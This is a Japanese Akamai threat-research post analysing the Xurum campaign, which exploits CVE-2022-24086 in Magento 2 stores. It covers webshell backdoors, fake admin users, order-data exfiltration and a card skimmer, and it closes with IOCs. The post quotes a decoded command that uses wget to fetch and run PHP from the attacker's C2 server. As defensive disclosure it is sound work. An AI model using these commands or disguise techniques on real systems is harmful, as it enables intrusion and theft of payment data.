AkamaiはLayerXを買収し、あらゆるブラウザにエンドツーエンドのセキュリティとリアルタイムのAI利用制御を提供します。 詳細を見る

Xurum:新しいMagentoキャンペーンの発見

2015 年以降、Magento ストアをターゲットにした脅威グループが少なくとも 7 つあります。これは、このプラットフォームが注目されていることと、攻撃者がこの脆弱性を悪用して成功を収めていることを表しています。

調査実施者:Ron Mankivsky、Dennis German、Chen Doytshman、Maxim Zavodchik

共同執筆者:Tricia Howard

エグゼクティブサマリー

  • Akamaiの研究者が、デジタルコマースのWebサイトを悪用している現在進行中のサーバーサイド・テンプレート・インジェクション(CVE-2022-24086)キャンペーンを発見しました。このキャンペーンはMagento 2ストアを標的としており、攻撃者のコマンド&コントロール(C2)サーバーのドメイン名を指すXurumという名称が付けられました。 

  • このキャンペーンの活動は、遅くとも2023年1月から観測されています。攻撃者は、過去10日間に被害者のMagentoストアで行われた注文の支払統計データに関心があるようです。 

  • 攻撃者は新しいMagentoコンポーネントを登録し、「GoogleShoppingAds」としてマスクします。

  • 攻撃者は、「wso-ng」という名前の高度なWebシェルを使用します。このシェルは、攻撃者がバックドアの「GoogleShoppingAds」コンポーネントにCookie「magemojo000」を送信した場合にのみアクティブになります。 

  • Webシェルのログインページは、被害者の資格情報を収集しようとする隠しログインフォームを含むエラーページになりすまします。

  • 攻撃者は、もう1つの偽装トリックとして、「mageplaza」または「mageworx」という名前のバックドア管理ユーザーをMagentoに作成します。この名前を使用する理由は、人気のあるMagento拡張ストアの名前だからです。

  • 攻撃者は、Dirty COWという古い脆弱性(CVE-2016-5195)を利用して、Linux内で権限昇格を試みます。 

  • この脅威の起源はロシアであることを示す証拠があります。 

  • このキャンペーンに関与する一部のWebサイトは、JavaScriptベースのシンプルなスキマーに感染していることが確認されており、その存在を難読化したり隠したりしようとはしていませんでした。

はじめに

デジタルコマースは、一般的にサイバー犯罪者が幅広く標的としている業界であり、Magentoの人気が広がっているため、残念ながら特に魅力的な(利益の出やすい)標的となっています。最も顕著な攻撃はMagecartです。この攻撃は、JavaScriptベースのスキマーを展開して、機微なユーザー情報を不正に取得することを目的としています。 このようなMagecart脅威アクターは、機微な情報を取得するために、よく知られているWebの脆弱性を悪用します。

2015年以降、Magentoストアをターゲットにした脅威グループが少なくとも7つあります。これは、このプラットフォームが注目されていることと、脅威アクターがこの脆弱性を悪用して成功を収めていることを表しています。

2022年初頭に脆弱性CVE-2022-24086が明らかになり、攻撃者はMagentoテンプレートエンジンを悪用して、影響を受けやすいターゲットで任意のPHPコードを実行できるようになりました。この悪用は、チェックアウトプロセスまたはウィッシュリスト機能の不正使用などの一般的な攻撃ベクトルを使用して、複数の手順で実行されます。この脆弱性は、発覚以降、脆弱なMagento 2ストアを標的とする多くのMagecart攻撃者にとって、主要なエントリーポイントになりました。

過去数か月にわたって、Akamaiは比較的少数のMagento展開を標的とした集中的なキャンペーンを入念に監視してきました。そして、このキャンペーンに、攻撃者が利用するC2サーバーのドメイン名を指すXurumという名称を付けました。

初期アクセスとしてCVE-2022-24086を悪用

この現在進行中のキャンペーンでは、計4つのIPアドレスから2つの異なるペイロードを実行しようとしている攻撃者が観測されました(図1)。これらのIPは、2つのホスティングプロバイダーのインフラに関連付けられています。そのプロバイダーとは、ドイツのHetznerと米国のShock Hostingです。

IP アドレス 図 1:Xurum との関連が確認された IP アドレス

1つ目のバリアントは、PHP関数「file_get_contents」を実行して、攻撃者のC2サーバー「xurum.com」にリクエストを送信し、サーバーがCVE-2022-24086(図2)に対して脆弱であるかどうかを確認します。その間に、Base64ブロブがhttps://xurum.com/moにデコードされます。

テストスクリプト 図 2:脆弱性 CVE-2022-24086 のテストスクリプト

2つ目のバリアントは、攻撃者が悪性のPHPコードをダウンロードして実行する第2ステージのペイロードです。このコードは同じ「xurum.com」サーバーでホストされています。検知を回避するために、悪性のリモートPHPコードのダウンロードと実行を担当する攻撃セグメントはBase64エンコーディングを使用して難読化され、PHP関数「shell_exec」を介して実行されます(図3)。難読化された部分は、php -r "`wget -qO- https://xurum.com/b.txt`;"にデコードされます。

Base64 エンコーディングを使用して難読化され、PHP 関数「shell_exec」を使用して実行される PHP コード 図 3:検知回避のために Base64 でエンコードされた Xurum ペイロード

Xurum.comドロップゾーン

サーバー「xurum.com」の調査では、このサーバーが物理的にオランダにあり(図4)、VDSina.ruというロシアのホスティング会社によってホストされていることが明らかになりました(図5)。

xurum.com の物理サーバーはオランダにあります 図 4:xurum.com サーバーの IP 情報
VDSina.ru というロシアのホスティング会社 図 5:xurum.com はホスティング会社 VDSina.ru によってホストされている

調査の時点で、多くの有名脅威スコアリングサイトは、このドメインを悪性とみなしていませんでした(図6)。その結果、ユーザーからの信頼が高まり、脅威アクターはほとんど検知されることなくオペレーションを実行できていました。

ドメイン「xurum.com」は悪性ではないと表示 図 6:VirusTotal の結果では、ドメイン「xurum.com」は悪性ではないと示している

「xurum」の意味

この攻撃には、いくつかのバリエーションがあるため、他のキャンペーンと区別するためにこの攻撃を「xurum」と呼ぶことにしました。

多くの場合、攻撃者はドメインまたはマルウェアに対して固有の命名規則を採用します。これが、(意図して、または意図せずして)その攻撃者固有の署名として機能することになります。「xurum」の意味を調査したところ、2つの解釈が可能であることがわかりました。

Google翻訳によると、xurumの定義はラテン語の「right」であり、「正しいことをする」を意味しています(図7)。また、WordSense Dictionaryによると、かつてグアテマラで話されていた絶滅した言語でxurumは「boy」を表す単語です(図8)。

Google 翻訳によると、xurum の定義はラテン語の「right」であり、「正しいことをする」を意味している 図 7:Google 翻訳では、「xurum」がラテン語として検知される
「xurum」の翻訳 図 8:WordSense によると、「xurum」はシナカンタン語の「boy」に相当する

このブログ記事の執筆時点で、攻撃者はxurumサーバーを停止し、品質保証フェーズにあると思われる別のサーバーに移行しています。

注文情報を流出させ、Magentoにバックドアを設置

xurumサーバーからダウンロードされ、被害者のマシンで実行されている悪性のPHPスクリプトには、いくつかの感染段階があります。

まず、被害者に関する以下のような技術情報を収集します。

  • PHPバージョン

  • 攻撃が「/pub」ディレクトリ(Magentoの共通ディレクトリ構造)に到達したかどうか

  • /var/www/html/vendor/magento/google-shopping-ads/registration.php」ファイルが存在し、書き込み可能かどうか  

  • env.php」ファイルの内容。このファイルには、Magentoアプリケーションの重要な情報(環境固有の設定など)に加え、パスワード、クレジットカード詳細、顧客情報などの機微な情報を保護するために使用される暗号化キーなどの秘密も含まれます

次に、難読化されたBase64ブロブをデコードし、「/var/www/html/vendor/magento/google-shopping-ads/registration.php」ファイルに書き込みます(図9)。

Base64 で難読化されたブロブをデコードし、「/var/www/html/vendor/magento/google-shopping-ads/registration.php」ファイルに書き込む 図 9:Web シェルへのリンクを含む難読化されたブロブが「registration.php」に書き込まれる

新しいファイルには興味をそそるコンテンツが含まれています。Webシェルの独自のコピーを保持してC2サーバー上でホスティングするのではなく、新しいファイル内のコードは、セキュリティ研究者が所有する「Bad Advertiser」または「@0xbadad」というパブリックGitHubリポジトリを指しています。このリポジトリ内には、「wso-ng」という既知のWebシェルがあります。しかし、特に興味深いのは、Webシェルがサーバーのディスクに書き込まれるのではなく、新しく作成されたページ「registration.php」にアクセスした場合に、メモリー内でのみフェッチおよび実行される点です。不正アクセスからさらに保護するために、攻撃者はこのWebシェルの実行を要求する際に特定のCookie「magemojo000」の存在を必要とします

次に、攻撃者は新しいWebシェル機能を新しいMagentoコンポーネントとして登録し、「GoogleShoppingAds」としてマスクします(図10)。

攻撃者は新しい Web シェル機能を新しい Magento コンポーネントとして登録する 図 10:Web シェル「wso-ng」が GoogleShoppingAds コンポーネントになりすます

バックドアを設置した後、攻撃者は過去10日間の販売注文の支払方法に関する情報を取得し、以前に収集した技術情報とともに、このデータをxurum.comドロップゾーンに流出させます(図11)。

 時間の経過とともに情報を収集する 図 11:過去 10 日間に行われた注文に関する情報を収集

最後のステップで、攻撃者は「mageworx」(または一部のバリエーションでは「mageplaza」)という名前のバックドア管理ユーザーを作成します。これらの名前は、人気のあるMagento 2拡張ストアであるMageworxとMageplazaから取ったものです(図12)。この名前を選択したのは、自分たちの攻撃を信頼できる拡張プロバイダーによる正当な行動としてカモフラージュするためだと考えられます。

バックドア・ユーザー・メールアドレスには、面白い差異があります。メールアドレスdeveloper@mageplazza.comの「mageplazza」には「z」が2つあるのに対し、正規のストアドメイン名であるmageplaza.comには「z」が1つです。これは攻撃者による誤植のようです。別のバックドア・ユーザー・メールアドレスにも同様の誤植があります。たとえば、support@magaworx.comでは、元のストア名Mageworxの「e」の位置に「a」が使用されています。 

 名前は、人気のある Magento 2 拡張ストアの Mageworx と Mageplaza から取っている 図 12:攻撃者がバックドア管理ユーザー mageworx/mageplaza を作成

新しいWebシェルの生成:wso-ng

Webシェルとは、悪性のスクリプトまたはコードの一部です。攻撃者は、WebシェルをWebサーバー上にアップロード/実行することで、そのサーバーとサーバー内のファイル/データへの不正アクセス/制御を永続的に行えるようになります。

このオペレーションでは、攻撃者はwso-ngという非常に高度なWebシェルを利用しています。このWebシェルは、前述のとおり、数年前にセキュリティ研究者が作成したものです。作成者が述べているとおり、wso-ngは古い有名なWSO(Web Shell by Orb)の新型です。

Webシェルの一般的な機能(システム情報の収集、ファイル管理、SQL管理など)の他にも、wso-ngには優れた機能があります(図13)。

Web シェル「wso-ng」 図 13:Web シェル「wso-ng」の概要

新機能

そのような新機能の1つに、隠しログインページがあります。隠しログインページにアクセスすると、404 Not Found HTTPステータスコードが返され、そのページが存在しないかのような印象を与えます。表示されているコンテンツは、一見すると空白のように見えます(図14)。しかし、ページのソースコードを検査すると、隠しログインフォームがあることがわかります。

このフォームは、単純なCSSのトリックを使用して閲覧者から巧妙に隠されています。1,000ピクセル左にシフトされ、表示領域外に効果的に配置されているのです。この隠しログインフォームは、ユーザーがパスワードを入力するまで待機するように設計されています。

 wso-ng ログインページ 図 14:wso-ng ログインページは空白として表示されるが、隠し機能がある

さらに、wso-ngはVirusTotalと統合されており、感染したマシンのIPレピュテーションを自動でチェックできます。また、SecurityTrails(評判の良い脅威インテリジェンス企業Recorded Futureが提供するサービス)とIPinfoにシームレスに照会し、同一サーバー上でホストされている他のドメインに関する情報を取得します。

このWebシェルには攻撃的な機能もあり、ホスティング企業のPHPサンドボックスを回避しようとします。fastCGIやphpアドフィルターの悪用など、さまざまな手法を使用して、無効になっているPHP関数をバイパスします。さらに、Webシェルがホストされている特定のLinuxバージョンと相性の良いローカル権限昇格攻撃の自動提案機能も備えています。

このWebシェルに関する詳細な分析については、今後のブログ記事で提供する予定です。

古いDirty COWによる権限昇格

xurum.comサーバー上の攻撃者の武器として、もう1つ興味深いツールがあることがわかりました。それは、Linuxのローカル権限昇格に利用される、Dirty COWという名前の古い周知の脆弱性CVE-2016-5195です(図15)。

 Linux 権限昇格のための Dirty COW の悪用 図 15:Linux 権限昇格のための Dirty COW の悪用のスクリーンショット

Webスキマー感染

AkamaiのWebアプリケーションファイアウォール(WAF)を利用しているお客様の多くがこのキャンペーンを効果的に緩和したため、Akamaiは攻撃者が実行したさらなるアクションを直接観測することはありませんでした。しかし、調査において、このキャンペーンに間接的に関連しているWebサイト名が、エクスプロイトリクエストのOrigin/Referer HTTPヘッダーに表示されていることに気付きました。

これらのWebサイトの少なくとも1つが、単純なWebスキマーに感染していました。スキマーはメインページにインストールされており、難読化技術は適用されていませんでした。これにより、クレジットカード情報が収集され、「smileface.site」でホストされているドロップゾーンに抽出されました(図16)。

インストールされた Web スキマーのスクリーンショット 図 16:調査した Web サイトの 1 つに Web スキマーがインストールされている

アクセスが試みられると、このWebサイトは「Get out!」という冷たいメッセージで応答します(図17)。

Web サイトは「Get out!」という冷たいメッセージで応答 図 17:アクセス試行時の smileface.site からの応答

IP情報は、サーバーがモスクワにあり、ロシアの「reg.ru」ホスティングによってホストされていることを示しています(図18)。

IP 情報は、サーバーがモスクワにあり、ロシアの「reg.ru」ホスティングによってホストされていることを示している 図 18:smileface.site は「reg.ru」ホスティングによってホストされている

まとめ

調査により、このキャンペーンは遅くとも2023年1月末には始まっていたことが判明しました。攻撃者は、インターネット上で無差別に攻撃を浴びせるのではなく、特定のMagento 2インスタンスをターゲットにした周到なアプローチをとっています。Magentoに関する高度な専門知識を駆使して、その内部の把握、攻撃インフラのセットアップ、実際のターゲットに対する攻撃のテストにかなりの時間を費やしています。

このキャンペーンは、企業がパッチの適用やセキュリティ対策に苦労しているなか、何年も前に発覚した古い脆弱性がどのように悪用され続けるかを示す実例として参考になります

セキュリティの推奨事項

サーバーへの初期アクセスを防止するため、セキュリティ担当者には、最新のパッチを常にアップデートし、Akamai App & API ProtectorなどのWAFを実装することを推奨します。

このようなMagecart脅威アクターの主な目的はMagentoページをWebスキマーに感染させ、顧客のクレジットカード情報を盗むことであるため、専用のセキュリティソリューションを追加することを強くお勧めします。必要なのは、ブラウザースクリプトのふるまいを可視化し、クライアント側の攻撃に対する防御を備えたソリューションです。

クライアントに対する実際の攻撃の発生場所の近くにセキュリティ対策を導入するのが効果的です。また、機微な情報の入力フィールドからの読み取りやデータ窃盗の試みを特定する機能も必要です。Akamaiでは、Client-Side Protection & Complianceなどのセキュリティ製品を使用して、このようなイベントに関する情報を迅速に収集し、高速かつ効率的に緩和することを推奨しています。

今後の情報提供

お客様に対する最近のMagento攻撃CVE-2022-24086に関する分析において、他のキャンペーンも発見し、現在調査を行っています。この調査をこれからも継続し、調査結果をセキュリティコミュニティと共有いたします。最新のセキュリティリサーチについては、X(旧Twitter)でAkamaiをフォローしてください。

IOC

以下の脅威の痕跡情報(indicators of compromise、IOC)は、この記事で取り上げた悪性のアクティビティを検知するうえで役立ちます。

タイプ

104.36.229.168

攻撃IP

95.216.95.178

攻撃IP

95.216.94.99

攻撃IP

65.21.85.21

攻撃IP

xurum.com

マルウェア・ホスティング・ドメイン

/var/www/html/vendor/magento/google-shopping-ads/registration.php

ファイル名

mageworx

Magentoユーザー

mageplaza

Magentoユーザー

developer@mageplazza.com

メールアドレス

support@magaworx.com

メールアドレス